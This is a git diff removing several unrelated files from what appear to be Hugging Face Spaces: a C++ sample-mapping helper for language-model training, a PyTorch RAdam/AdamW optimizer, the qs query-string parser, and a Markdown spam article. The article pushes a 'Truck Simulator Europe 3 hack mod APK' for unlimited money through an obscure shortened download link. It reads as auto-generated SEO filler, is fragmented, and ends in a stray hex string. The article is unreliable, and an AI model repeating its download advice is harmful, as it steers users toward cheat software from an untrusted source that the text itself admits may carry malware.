-    const auto sent_end_index = docs[docs_.shape(0) - 1];
-    const auto num_sentences = sent_end_index - sent_start_index;
-    cout << "    using:" << endl
-         << std::flush;
-    cout << "     number of documents:            " << docs_.shape(0) - 1 << endl
-         << std::flush;
-    cout << "     sentences range:                [" << sent_start_index << ", " << sent_end_index << ")" << endl
-         << std::flush;
-    cout << "     total number of sentences:      " << num_sentences << endl
-         << std::flush;
-    cout << "     number of epochs:               " << num_epochs << endl
-         << std::flush;
-    cout << "     maximum number of samples:      " << max_num_samples << endl
-         << std::flush;
-    cout << "     maximum sequence length:        " << max_seq_length << endl
-         << std::flush;
-    cout << "     seed:                           " << seed << endl
-         << std::flush;
-  }
-
-  // Mapping and its length (1D).
-  int64_t num_samples = -1;
-  DocIdx *maps = NULL;
-
-  // Acceptable number of sentences per block.
-  int min_num_sent = 2;
-  if (use_one_sent_blocks)
-  {
-    min_num_sent = 1;
-  }
-
-  // Perform two iterations, in the first iteration get the size
-  // and allocate memory and in the second iteration populate the map.
-  bool second = false;
-  for (int32_t iteration = 0; iteration < 2; ++iteration)
-  {
-
-    // Set the flag on second iteration.
-    second = (iteration == 1);
-
-    // Current map index.
-    uint64_t map_index = 0;
-
-    uint64_t empty_docs = 0;
-    uint64_t one_sent_docs = 0;
-    uint64_t long_sent_docs = 0;
-    // For each epoch:
-    for (int32_t epoch = 0; epoch < num_epochs; ++epoch)
-    {
-      // assign every block a unique id
-      int32_t block_id = 0;
-
-      if (map_index >= max_num_samples)
-      {
-        if (verbose && (!second))
-        {
-          cout << "    reached " << max_num_samples << " samples after "
-               << epoch << " epochs ..." << endl
-               << std::flush;
-        }
-        break;
-      }
-      // For each document:
-      for (int32_t doc = 0; doc < (docs.shape(0) - 1); ++doc)
-      {
-
-        // Document sentences are in [sent_index_first, sent_index_last)
-        const auto sent_index_first = docs[doc];
-        const auto sent_index_last = docs[doc + 1];
-        const auto target_seq_len = max_seq_length - titles_sizes[doc];
-
-        // At the begining of the document previous index is the
-        // start index.
-        auto prev_start_index = sent_index_first;
-
-        // Remaining documents.
-        auto num_remain_sent = sent_index_last - sent_index_first;
-
-        // Some bookkeeping
-        if ((epoch == 0) && (!second))
-        {
-          if (num_remain_sent == 0)
-          {
-            ++empty_docs;
-          }
-          if (num_remain_sent == 1)
-          {
-            ++one_sent_docs;
-          }
-        }
-        // Detect documents with long sentences.
-        bool contains_long_sentence = false;
-        if (num_remain_sent >= min_num_sent)
-        {
-          for (auto sent_index = sent_index_first;
-               sent_index < sent_index_last; ++sent_index)
-          {
-            if (sizes[sent_index] > LONG_SENTENCE_LEN)
-            {
-              if ((epoch == 0) && (!second))
-              {
-                ++long_sent_docs;
-              }
-              contains_long_sentence = true;
-              break;
-            }
-          }
-        }
-        // If we have enough sentences and no long sentences.
-        if ((num_remain_sent >= min_num_sent) && (!contains_long_sentence))
-        {
-
-          // Set values.
-          auto seq_len = int32_t{0};
-          auto num_sent = int32_t{0};
-
-          // Loop through sentences.
-          for (auto sent_index = sent_index_first;
-               sent_index < sent_index_last; ++sent_index)
-          {
-
-            // Add the size and number of sentences.
-            seq_len += sizes[sent_index];
-            ++num_sent;
-            --num_remain_sent;
-
-            // If we have reached the target length.
-            // and there are an acceptable number of sentences left
-            // and if we have at least the minimum number of sentences.
-            // or if we have reached end of the document.
-            if (((seq_len >= target_seq_len) &&
-                 (num_remain_sent >= min_num_sent) &&
-                 (num_sent >= min_num_sent)) ||
-                (num_remain_sent == 0))
-            {
-
-              // Populate the map.
-              if (second)
-              {
-                const auto map_index_0 = 4 * map_index;
-                // Each sample has 4 items: the starting sentence index, ending sentence index,
-                // the index of the document from which the block comes (used for fetching titles)
-                // and the unique id of the block (used for creating block indexes)
-
-                maps[map_index_0] = static_cast<DocIdx>(prev_start_index);
-                maps[map_index_0 + 1] = static_cast<DocIdx>(sent_index + 1);
-                maps[map_index_0 + 2] = static_cast<DocIdx>(doc);
-                maps[map_index_0 + 3] = static_cast<DocIdx>(block_id);
-              }
-
-              // Update indices / counters.
-              ++map_index;
-              ++block_id;
-              prev_start_index = sent_index + 1;
-              seq_len = 0;
-              num_sent = 0;
-            }
-          } // for (auto sent_index=sent_index_first; ...
-        }   // if (num_remain_sent > 1) {
-      }     // for (int doc=0; doc < num_docs; ++doc) {
-    }       // for (int epoch=0; epoch < num_epochs; ++epoch) {
-
-    if (!second)
-    {
-      if (verbose)
-      {
-        cout << "   number of empty documents: " << empty_docs << endl
-             << std::flush;
-        cout << "   number of documents with one sentence: " << one_sent_docs << endl
-             << std::flush;
-        cout << "   number of documents with long sentences: " << long_sent_docs << endl
-             << std::flush;
-        cout << "   will create mapping for " << map_index << " samples" << endl
-             << std::flush;
-      }
-      assert(maps == NULL);
-      assert(num_samples < 0);
-      maps = new DocIdx[4 * map_index];
-      num_samples = static_cast<int64_t>(map_index);
-    }
-
-  } // for (int iteration=0; iteration < 2; ++iteration) {
-
-  // Shuffle.
-  // We need a 64 bit random number generator as we might have more
-  // than 2 billion samples.
-  std::mt19937_64 rand64_gen(seed + 1);
-  for (auto i = (num_samples - 1); i > 0; --i)
-  {
-    const auto j = static_cast<int64_t>(rand64_gen() % (i + 1));
-    const auto i0 = 4 * i;
-    const auto j0 = 4 * j;
-    // Swap values.
-    swap(maps[i0], maps[j0]);
-    swap(maps[i0 + 1], maps[j0 + 1]);
-    swap(maps[i0 + 2], maps[j0 + 2]);
-    swap(maps[i0 + 3], maps[j0 + 3]);
-  }
-
-  // Method to deallocate memory.
-  py::capsule free_when_done(maps, [](void *mem_)
-                             {
-                               DocIdx *mem = reinterpret_cast<DocIdx *>(mem_);
-                               delete[] mem;
-                             });
-
-  // Return the numpy array.
-  const auto byte_size = sizeof(DocIdx);
-  return py::array(std::vector<int64_t>{num_samples, 4}, // shape
-                   {4 * byte_size, byte_size},           // C-style contiguous strides
-                   maps,                                 // the data pointer
-                   free_when_done);                      // numpy array references
-}
-
-py::array build_blocks_mapping(const py::array_t<int64_t> &docs_,
-                               const py::array_t<int> &sizes_,
-                               const py::array_t<int> &titles_sizes_,
-                               const int num_epochs,
-                               const uint64_t max_num_samples,
-                               const int max_seq_length,
-                               const int seed,
-                               const bool verbose,
-                               const bool use_one_sent_blocks)
-{
-
-  if (sizes_.size() > std::numeric_limits<uint32_t>::max())
-  {
-    if (verbose)
-    {
-      cout << "    using uint64 for data mapping..." << endl
-           << std::flush;
-    }
-    return build_blocks_mapping_impl<uint64_t>(docs_, sizes_, titles_sizes_,
-                                               num_epochs, max_num_samples, max_seq_length, seed, verbose, use_one_sent_blocks);
-  }
-  else
-  {
-    if (verbose)
-    {
-      cout << "    using uint32 for data mapping..." << endl
-           << std::flush;
-    }
-    return build_blocks_mapping_impl<uint32_t>(docs_, sizes_, titles_sizes_,
-                                               num_epochs, max_num_samples, max_seq_length, seed, verbose, use_one_sent_blocks);
-  }
-}
-
-PYBIND11_MODULE(helpers, m)
-{
-  m.def("build_mapping", &build_mapping);
-  m.def("build_blocks_mapping", &build_blocks_mapping);
-  m.def("build_sample_idx", &build_sample_idx);
-  m.def("build_blending_indices", &build_blending_indices);
-}
diff --git a/spaces/feng2022/Time-TravelRephotography/Time_TravelRephotography/optim/radam.py b/spaces/feng2022/Time-TravelRephotography/Time_TravelRephotography/optim/radam.py
deleted file mode 100644
index 35e797d231f6dc16e286ae7999a61132293b0d36..0000000000000000000000000000000000000000
--- a/spaces/feng2022/Time-TravelRephotography/Time_TravelRephotography/optim/radam.py
+++ /dev/null
@@ -1,250 +0,0 @@
-import math
-import torch
-from torch.optim.optimizer import Optimizer, required
-
-
-class RAdam(Optimizer):
-
-    def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0, degenerated_to_sgd=True):
-        if not 0.0 <= lr:
-            raise ValueError("Invalid learning rate: {}".format(lr))
-        if not 0.0 <= eps:
-            raise ValueError("Invalid epsilon value: {}".format(eps))
-        if not 0.0 <= betas[0] < 1.0:
-            raise ValueError("Invalid beta parameter at index 0: {}".format(betas[0]))
-        if not 0.0 <= betas[1] < 1.0:
-            raise ValueError("Invalid beta parameter at index 1: {}".format(betas[1]))
-
-        self.degenerated_to_sgd = degenerated_to_sgd
-        if isinstance(params, (list, tuple)) and len(params) > 0 and isinstance(params[0], dict):
-            for param in params:
-                if 'betas' in param and (param['betas'][0] != betas[0] or param['betas'][1] != betas[1]):
-                    param['buffer'] = [[None, None, None] for _ in range(10)]
-        defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay,
-                        buffer=[[None, None, None] for _ in range(10)])
-        super(RAdam, self).__init__(params, defaults)
-
-    def __setstate__(self, state):
-        super(RAdam, self).__setstate__(state)
-
-    def step(self, closure=None):
-
-        loss = None
-        if closure is not None:
-            loss = closure()
-
-        for group in self.param_groups:
-
-            for p in group['params']:
-                if p.grad is None:
-                    continue
-                grad = p.grad.data.float()
-                if grad.is_sparse:
-                    raise RuntimeError('RAdam does not support sparse gradients')
-
-                p_data_fp32 = p.data.float()
-
-                state = self.state[p]
-
-                if len(state) == 0:
-                    state['step'] = 0
-                    state['exp_avg'] = torch.zeros_like(p_data_fp32)
-                    state['exp_avg_sq'] = torch.zeros_like(p_data_fp32)
-                else:
-                    state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32)
-                    state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32)
-
-                exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']
-                beta1, beta2 = group['betas']
-
-                exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad)
-                exp_avg.mul_(beta1).add_(1 - beta1, grad)
-
-                state['step'] += 1
-                buffered = group['buffer'][int(state['step'] % 10)]
-                if state['step'] == buffered[0]:
-                    N_sma, step_size = buffered[1], buffered[2]
-                else:
-                    buffered[0] = state['step']
-                    beta2_t = beta2 ** state['step']
-                    N_sma_max = 2 / (1 - beta2) - 1
-                    N_sma = N_sma_max - 2 * state['step'] * beta2_t / (1 - beta2_t)
-                    buffered[1] = N_sma
-
-                    # more conservative since it's an approximated value
-                    if N_sma >= 5:
-                        step_size = math.sqrt(
-                            (1 - beta2_t) * (N_sma - 4) / (N_sma_max - 4) * (N_sma - 2) / N_sma * N_sma_max / (
-                                        N_sma_max - 2)) / (1 - beta1 ** state['step'])
-                    elif self.degenerated_to_sgd:
-                        step_size = 1.0 / (1 - beta1 ** state['step'])
-                    else:
-                        step_size = -1
-                    buffered[2] = step_size
-
-                # more conservative since it's an approximated value
-                if N_sma >= 5:
-                    if group['weight_decay'] != 0:
-                        p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32)
-                    denom = exp_avg_sq.sqrt().add_(group['eps'])
-                    p_data_fp32.addcdiv_(-step_size * group['lr'], exp_avg, denom)
-                    p.data.copy_(p_data_fp32)
-                elif step_size > 0:
-                    if group['weight_decay'] != 0:
-                        p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32)
-                    p_data_fp32.add_(-step_size * group['lr'], exp_avg)
-                    p.data.copy_(p_data_fp32)
-
-        return loss
-
-
-class PlainRAdam(Optimizer):
-
-    def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0, degenerated_to_sgd=True):
-        if not 0.0 <= lr:
-            raise ValueError("Invalid learning rate: {}".format(lr))
-        if not 0.0 <= eps:
-            raise ValueError("Invalid epsilon value: {}".format(eps))
-        if not 0.0 <= betas[0] < 1.0:
-            raise ValueError("Invalid beta parameter at index 0: {}".format(betas[0]))
-        if not 0.0 <= betas[1] < 1.0:
-            raise ValueError("Invalid beta parameter at index 1: {}".format(betas[1]))
-
-        self.degenerated_to_sgd = degenerated_to_sgd
-        defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay)
-
-        super(PlainRAdam, self).__init__(params, defaults)
-
-    def __setstate__(self, state):
-        super(PlainRAdam, self).__setstate__(state)
-
-    def step(self, closure=None):
-
-        loss = None
-        if closure is not None:
-            loss = closure()
-
-        for group in self.param_groups:
-
-            for p in group['params']:
-                if p.grad is None:
-                    continue
-                grad = p.grad.data.float()
-                if grad.is_sparse:
-                    raise RuntimeError('RAdam does not support sparse gradients')
-
-                p_data_fp32 = p.data.float()
-
-                state = self.state[p]
-
-                if len(state) == 0:
-                    state['step'] = 0
-                    state['exp_avg'] = torch.zeros_like(p_data_fp32)
-                    state['exp_avg_sq'] = torch.zeros_like(p_data_fp32)
-                else:
-                    state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32)
-                    state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32)
-
-                exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']
-                beta1, beta2 = group['betas']
-
-                exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad)
-                exp_avg.mul_(beta1).add_(1 - beta1, grad)
-
-                state['step'] += 1
-                beta2_t = beta2 ** state['step']
-                N_sma_max = 2 / (1 - beta2) - 1
-                N_sma = N_sma_max - 2 * state['step'] * beta2_t / (1 - beta2_t)
-
-                # more conservative since it's an approximated value
-                if N_sma >= 5:
-                    if group['weight_decay'] != 0:
-                        p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32)
-                    step_size = group['lr'] * math.sqrt(
-                        (1 - beta2_t) * (N_sma - 4) / (N_sma_max - 4) * (N_sma - 2) / N_sma * N_sma_max / (
-                                    N_sma_max - 2)) / (1 - beta1 ** state['step'])
-                    denom = exp_avg_sq.sqrt().add_(group['eps'])
-                    p_data_fp32.addcdiv_(-step_size, exp_avg, denom)
-                    p.data.copy_(p_data_fp32)
-                elif self.degenerated_to_sgd:
-                    if group['weight_decay'] != 0:
-                        p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32)
-                    step_size = group['lr'] / (1 - beta1 ** state['step'])
-                    p_data_fp32.add_(-step_size, exp_avg)
-                    p.data.copy_(p_data_fp32)
-
-        return loss
-
-
-class AdamW(Optimizer):
-
-    def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0, warmup=0):
-        if not 0.0 <= lr:
-            raise ValueError("Invalid learning rate: {}".format(lr))
-        if not 0.0 <= eps:
-            raise ValueError("Invalid epsilon value: {}".format(eps))
-        if not 0.0 <= betas[0] < 1.0:
-            raise ValueError("Invalid beta parameter at index 0: {}".format(betas[0]))
-        if not 0.0 <= betas[1] < 1.0:
-            raise ValueError("Invalid beta parameter at index 1: {}".format(betas[1]))
-
-        defaults = dict(lr=lr, betas=betas, eps=eps,
-                        weight_decay=weight_decay, warmup=warmup)
-        super(AdamW, self).__init__(params, defaults)
-
-    def __setstate__(self, state):
-        super(AdamW, self).__setstate__(state)
-
-    def step(self, closure=None):
-        loss = None
-        if closure is not None:
-            loss = closure()
-
-        for group in self.param_groups:
-
-            for p in group['params']:
-                if p.grad is None:
-                    continue
-                grad = p.grad.data.float()
-                if grad.is_sparse:
-                    raise RuntimeError('Adam does not support sparse gradients, please consider SparseAdam instead')
-
-                p_data_fp32 = p.data.float()
-
-                state = self.state[p]
-
-                if len(state) == 0:
-                    state['step'] = 0
-                    state['exp_avg'] = torch.zeros_like(p_data_fp32)
-                    state['exp_avg_sq'] = torch.zeros_like(p_data_fp32)
-                else:
-                    state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32)
-                    state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32)
-
-                exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']
-                beta1, beta2 = group['betas']
-
-                state['step'] += 1
-
-                exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad)
-                exp_avg.mul_(beta1).add_(1 - beta1, grad)
-
-                denom = exp_avg_sq.sqrt().add_(group['eps'])
-                bias_correction1 = 1 - beta1 ** state['step']
-                bias_correction2 = 1 - beta2 ** state['step']
-
-                if group['warmup'] > state['step']:
-                    scheduled_lr = 1e-8 + state['step'] * group['lr'] / group['warmup']
-                else:
-                    scheduled_lr = group['lr']
-
-                step_size = scheduled_lr * math.sqrt(bias_correction2) / bias_correction1
-
-                if group['weight_decay'] != 0:
-                    p_data_fp32.add_(-group['weight_decay'] * scheduled_lr, p_data_fp32)
-
-                p_data_fp32.addcdiv_(-step_size, exp_avg, denom)
-
-                p.data.copy_(p_data_fp32)
-
-        return loss
\ No newline at end of file
diff --git a/spaces/feregVcuzo/sanity-test-midi/checkpoint/Download Truck Simulator Europe 3 MOD APK (Unlimited Money) for Android.md b/spaces/feregVcuzo/sanity-test-midi/checkpoint/Download Truck Simulator Europe 3 MOD APK (Unlimited Money) for Android.md
deleted file mode 100644
index 5348d55f8518ed3e4b23f43ddf780f99757bdc9c..0000000000000000000000000000000000000000
--- a/spaces/feregVcuzo/sanity-test-midi/checkpoint/Download Truck Simulator Europe 3 MOD APK (Unlimited Money) for Android.md	
+++ /dev/null
@@ -1,122 +0,0 @@
-<br />
-<h1>Truck Simulator Europe 3 Hack Mod APK Download: How to Get Unlimited Money and Unlock All Trucks</h1>
-<p>Do you love driving trucks across Europe and delivering cargo to different destinations? Do you want to experience the most realistic truck physics and graphics on your mobile device? If yes, then you should try Truck Simulator Europe 3, one of the best truck simulation games available on Google Play Store. But what if you want to have more money and unlock all the trucks and trailers in the game without spending real money? Well, there is a way to do that, and it is called Truck Simulator Europe 3 hack mod apk. In this article, we will tell you everything you need to know about this hack mod apk, including what it is, why you need it, how to download and install it, and what are the risks involved. So, let's get started!</p>
-<h2>truck simulator europe 3 hack mod apk download</h2><br /><p><b><b>Download Zip</b> &#8230; <a href="https://gohhs.com/2uPryV">https://gohhs.com/2uPryV</a></b></p><br /><br />
- <h2>What is Truck Simulator Europe 3?</h2>
-<p>Truck Simulator Europe 3 is a truck simulation game developed by Wanda Software. It features intensive driving experience with the most realistic truck physics. You can feel like driving real trucks with this truck simulator. You can travel across many cities from Europe, make money, purchase new trucks and trailers, select your job and deliver your cargo in an open world. Truck Simulator Europe 3 has many features that make it one of the best truck simulation games on the market. Some of these features are:</p>
- <h3>Features of Truck Simulator Europe 3</h3>
-<ul>
-<li>Realistic truck physics</li>
-<li>7 different trucks with all available chassis (4x2, 6x2, 6x2/2, 6x2 Midlift,6x2 Taglift, 6x4, 8x4)</li>
-<li>25 trailers and many cargo options</li>
-<li>Heavy loads</li>
-<li>Realistic engine sounds</li>
-<li>Realistic interiors</li>
-<li>Smart AI traffic system</li>
-<li>Drive across country roads and highways</li>
-<li>Realistic weather conditions</li>
-<li>Day & night cycle</li>
-<li>Damage and fuel consume</li>
-<li>Easy controls (tilt, buttons or touch steering wheel)</li>
-<li>Achievements and Leaderboards</li>
-<li>Excellent HD graphics and optimizations</li>
-</ul>
- <h3>How to play Truck Simulator Europe 3</h3>
-<p>To play Truck Simulator Europe 3, you need to download and install it from Google Play Store or from other sources. The game is free to play, but it contains ads and in-app purchases. You can disable the ads by purchasing the premium version of the game for $1.99. You can also buy in-game currency (coins) with real money to buy new trucks and trailers or upgrade your existing ones. The game has a simple gameplay: you choose your truck, your trailer, your cargo, your destination, and then you start driving. You need to follow the traffic rules, avoid accidents, manage your fuel and damage level, and deliver your cargo on time. You can earn money by completing jobs or by driving long distances. You can use the money to buy new trucks and trailers or upgrade your existing ones. You can also customize your truck with different colors, decals, accessories, etc. You can also unlock new cities and roads as you progress in the game.</p>
- <h2>Why do you need Truck Simulator Europe 3 hack mod apk?</h2>
-<p>Truck Simulator Europe 3 hack mod apk is a modified version of the original game that gives you unlimited money and unlocks all the trucks and trailers in the game. This means that you don't have to spend real money or grind for hours to <p>buy new trucks and trailers or upgrade your existing ones. You can also customize your truck with any color, decal, accessory, etc. that you want. You can also explore all the cities and roads in the game without any restriction. Truck Simulator Europe 3 hack mod apk is a great way to enjoy the game without any hassle or limitation. You can have more fun and excitement with this hack mod apk.</p>
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-<ul>
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-<li>You can customize your truck with any color, decal, accessory, etc. that you want, which makes your truck more unique and personal.</li>
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-<li>You can enjoy the game without any ads or in-app purchases, which makes the game more smooth and uninterrupted.</li>
-</ul>
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-<p>However, using Truck Simulator Europe 3 hack mod apk also comes with some risks that you should be aware of. Some of these risks are:</p>
-<ul>
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-</ul>
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-<ol>
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-</ol>
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-<ul>
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- <h2>Conclusion</h2>
-<p>Truck Simulator Europe 3 is a great truck simulation game that lets you drive trucks across Europe and deliver cargo to different destinations. It has realistic truck physics, graphics, sounds, interiors, weather conditions, traffic system, etc. However, if you want to have more money and unlock all the trucks and trailers in the game without spending real money or grinding for hours, you can use Truck Simulator Europe 3 hack mod apk. This is a modified version of the original game that gives you unlimited money and unlocks all the trucks and trailers in the game. You can also customize your truck with any color, decal, accessory, etc. that you want. You can also explore all the cities and roads in the game without any restriction. However, using Truck Simulator Europe 3 hack mod apk also comes with some risks <p>such as compatibility issues, malware or viruses, data loss, ban risk, and loss of challenge and thrill. Therefore, you should be careful and responsible when using Truck Simulator Europe 3 hack mod apk. You should also respect the game developers and support them by purchasing the premium version or the in-game currency if you can. Truck Simulator Europe 3 hack mod apk is a great way to enjoy the game without any hassle or limitation, but it also comes with some risks that you should be aware of.</p>
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-<p>Here are some frequently asked questions about Truck Simulator Europe 3 hack mod apk:</p>
-<ul>
-<li><b>Q: Is Truck Simulator Europe 3 hack mod apk safe to use?</b></li>
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-</ul></p> 197e85843d<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/fffiloni/controlnet-animation-doodle/node_modules/qs/lib/parse.js b/spaces/fffiloni/controlnet-animation-doodle/node_modules/qs/lib/parse.js
deleted file mode 100644
index a4ac4fa07e8a59cb712bdc62ac2ba985afd9eca8..0000000000000000000000000000000000000000
--- a/spaces/fffiloni/controlnet-animation-doodle/node_modules/qs/lib/parse.js
+++ /dev/null
@@ -1,263 +0,0 @@
-'use strict';
-
-var utils = require('./utils');
-
-var has = Object.prototype.hasOwnProperty;
-var isArray = Array.isArray;
-
-var defaults = {
-    allowDots: false,
-    allowPrototypes: false,
-    allowSparse: false,
-    arrayLimit: 20,
-    charset: 'utf-8',
-    charsetSentinel: false,
-    comma: false,
-    decoder: utils.decode,
-    delimiter: '&',
-    depth: 5,
-    ignoreQueryPrefix: false,
-    interpretNumericEntities: false,
-    parameterLimit: 1000,
-    parseArrays: true,
-    plainObjects: false,
-    strictNullHandling: false
-};
-
-var interpretNumericEntities = function (str) {
-    return str.replace(/&#(\d+);/g, function ($0, numberStr) {
-        return String.fromCharCode(parseInt(numberStr, 10));
-    });
-};
-
-var parseArrayValue = function (val, options) {
-    if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
-        return val.split(',');
-    }
-
-    return val;
-};
-
-// This is what browsers will submit when the ✓ character occurs in an
-// application/x-www-form-urlencoded body and the encoding of the page containing
-// the form is iso-8859-1, or when the submitted form has an accept-charset
-// attribute of iso-8859-1. Presumably also with other charsets that do not contain
-// the ✓ character, such as us-ascii.
-var isoSentinel = 'utf8=%26%2310003%3B'; // encodeURIComponent('&#10003;')
-
-// These are the percent-encoded utf-8 octets representing a checkmark, indicating that the request actually is utf-8 encoded.
-var charsetSentinel = 'utf8=%E2%9C%93'; // encodeURIComponent('✓')
-
-var parseValues = function parseQueryStringValues(str, options) {
-    var obj = {};
-    var cleanStr = options.ignoreQueryPrefix ? str.replace(/^\?/, '') : str;
-    var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit;
-    var parts = cleanStr.split(options.delimiter, limit);
-    var skipIndex = -1; // Keep track of where the utf8 sentinel was found
-    var i;
-
-    var charset = options.charset;
-    if (options.charsetSentinel) {
-        for (i = 0; i < parts.length; ++i) {
-            if (parts[i].indexOf('utf8=') === 0) {
-                if (parts[i] === charsetSentinel) {
-                    charset = 'utf-8';
-                } else if (parts[i] === isoSentinel) {
-                    charset = 'iso-8859-1';
-                }
-                skipIndex = i;
-                i = parts.length; // The eslint settings do not allow break;
-            }
-        }
-    }
-
-    for (i = 0; i < parts.length; ++i) {
-        if (i === skipIndex) {
-            continue;
-        }
-        var part = parts[i];
-
-        var bracketEqualsPos = part.indexOf(']=');
-        var pos = bracketEqualsPos === -1 ? part.indexOf('=') : bracketEqualsPos + 1;
-
-        var key, val;
-        if (pos === -1) {
-            key = options.decoder(part, defaults.decoder, charset, 'key');
-            val = options.strictNullHandling ? null : '';
-        } else {
-            key = options.decoder(part.slice(0, pos), defaults.decoder, charset, 'key');
-            val = utils.maybeMap(
-                parseArrayValue(part.slice(pos + 1), options),
-                function (encodedVal) {
-                    return options.decoder(encodedVal, defaults.decoder, charset, 'value');
-                }
-            );
-        }
-
-        if (val && options.interpretNumericEntities && charset === 'iso-8859-1') {
-            val = interpretNumericEntities(val);
-        }
-
-        if (part.indexOf('[]=') > -1) {
-            val = isArray(val) ? [val] : val;
-        }
-
-        if (has.call(obj, key)) {
-            obj[key] = utils.combine(obj[key], val);
-        } else {
-            obj[key] = val;
-        }
-    }
-
-    return obj;
-};
-
-var parseObject = function (chain, val, options, valuesParsed) {
-    var leaf = valuesParsed ? val : parseArrayValue(val, options);
-
-    for (var i = chain.length - 1; i >= 0; --i) {
-        var obj;
-        var root = chain[i];
-
-        if (root === '[]' && options.parseArrays) {
-            obj = [].concat(leaf);
-        } else {
-            obj = options.plainObjects ? Object.create(null) : {};
-            var cleanRoot = root.charAt(0) === '[' && root.charAt(root.length - 1) === ']' ? root.slice(1, -1) : root;
-            var index = parseInt(cleanRoot, 10);
-            if (!options.parseArrays && cleanRoot === '') {
-                obj = { 0: leaf };
-            } else if (
-                !isNaN(index)
-                && root !== cleanRoot
-                && String(index) === cleanRoot
-                && index >= 0
-                && (options.parseArrays && index <= options.arrayLimit)
-            ) {
-                obj = [];
-                obj[index] = leaf;
-            } else if (cleanRoot !== '__proto__') {
-                obj[cleanRoot] = leaf;
-            }
-        }
-
-        leaf = obj;
-    }
-
-    return leaf;
-};
-
-var parseKeys = function parseQueryStringKeys(givenKey, val, options, valuesParsed) {
-    if (!givenKey) {
-        return;
-    }
-
-    // Transform dot notation to bracket notation
-    var key = options.allowDots ? givenKey.replace(/\.([^.[]+)/g, '[$1]') : givenKey;
-
-    // The regex chunks
-
-    var brackets = /(\[[^[\]]*])/;
-    var child = /(\[[^[\]]*])/g;
-
-    // Get the parent
-
-    var segment = options.depth > 0 && brackets.exec(key);
-    var parent = segment ? key.slice(0, segment.index) : key;
-
-    // Stash the parent if it exists
-
-    var keys = [];
-    if (parent) {
-        // If we aren't using plain objects, optionally prefix keys that would overwrite object prototype properties
-        if (!options.plainObjects && has.call(Object.prototype, parent)) {
-            if (!options.allowPrototypes) {
-                return;
-            }
-        }
-
-        keys.push(parent);
-    }
-
-    // Loop through children appending to the array until we hit depth
-
-    var i = 0;
-    while (options.depth > 0 && (segment = child.exec(key)) !== null && i < options.depth) {
-        i += 1;
-        if (!options.plainObjects && has.call(Object.prototype, segment[1].slice(1, -1))) {
-            if (!options.allowPrototypes) {
-                return;
-            }
-        }
-        keys.push(segment[1]);
-    }
-
-    // If there's a remainder, just add whatever is left
-
-    if (segment) {
-        keys.push('[' + key.slice(segment.index) + ']');
-    }
-
-    return parseObject(keys, val, options, valuesParsed);
-};
-
-var normalizeParseOptions = function normalizeParseOptions(opts) {
-    if (!opts) {
-        return defaults;
-    }
-
-    if (opts.decoder !== null && opts.decoder !== undefined && typeof opts.decoder !== 'function') {
-        throw new TypeError('Decoder has to be a function.');
-    }
-
-    if (typeof opts.charset !== 'undefined' && opts.charset !== 'utf-8' && opts.charset !== 'iso-8859-1') {
-        throw new TypeError('The charset option must be either utf-8, iso-8859-1, or undefined');
-    }
-    var charset = typeof opts.charset === 'undefined' ? defaults.charset : opts.charset;
-
-    return {
-        allowDots: typeof opts.allowDots === 'undefined' ? defaults.allowDots : !!opts.allowDots,
-        allowPrototypes: typeof opts.allowPrototypes === 'boolean' ? opts.allowPrototypes : defaults.allowPrototypes,
-        allowSparse: typeof opts.allowSparse === 'boolean' ? opts.allowSparse : defaults.allowSparse,
-        arrayLimit: typeof opts.arrayLimit === 'number' ? opts.arrayLimit : defaults.arrayLimit,
-        charset: charset,
-        charsetSentinel: typeof opts.charsetSentinel === 'boolean' ? opts.charsetSentinel : defaults.charsetSentinel,
-        comma: typeof opts.comma === 'boolean' ? opts.comma : defaults.comma,
-        decoder: typeof opts.decoder === 'function' ? opts.decoder : defaults.decoder,
-        delimiter: typeof opts.delimiter === 'string' || utils.isRegExp(opts.delimiter) ? opts.delimiter : defaults.delimiter,
-        // eslint-disable-next-line no-implicit-coercion, no-extra-parens
-        depth: (typeof opts.depth === 'number' || opts.depth === false) ? +opts.depth : defaults.depth,
-        ignoreQueryPrefix: opts.ignoreQueryPrefix === true,
-        interpretNumericEntities: typeof opts.interpretNumericEntities === 'boolean' ? opts.interpretNumericEntities : defaults.interpretNumericEntities,
-        parameterLimit: typeof opts.parameterLimit === 'number' ? opts.parameterLimit : defaults.parameterLimit,
-        parseArrays: opts.parseArrays !== false,
-        plainObjects: typeof opts.plainObjects === 'boolean' ? opts.plainObjects : defaults.plainObjects,
-        strictNullHandling: typeof opts.strictNullHandling === 'boolean' ? opts.strictNullHandling : defaults.strictNullHandling
-    };
-};
-
-module.exports = function (str, opts) {
-    var options = normalizeParseOptions(opts);
-
-    if (str === '' || str === null || typeof str === 'undefined') {
-        return options.plainObjects ? Object.create(null) : {};
-    }
-
-    var tempObj = typeof str === 'string' ? parseValues(str, options) : str;
-    var obj = options.plainObjects ? Object.create(null) : {};
-
-    // Iterate over the keys and setup the new object
-
-    var keys = Object.keys(tempObj);
-    for (var i = 0; i < keys.length; ++i) {
-        var key = keys[i];
-        var newObj = parseKeys(key, tempObj[key], options, typeof str === 'string');
-        obj = utils.merge(obj, newObj, options);
-    }
-
-    if (options.allowSparse === true) {
-        return obj;
-    }
-
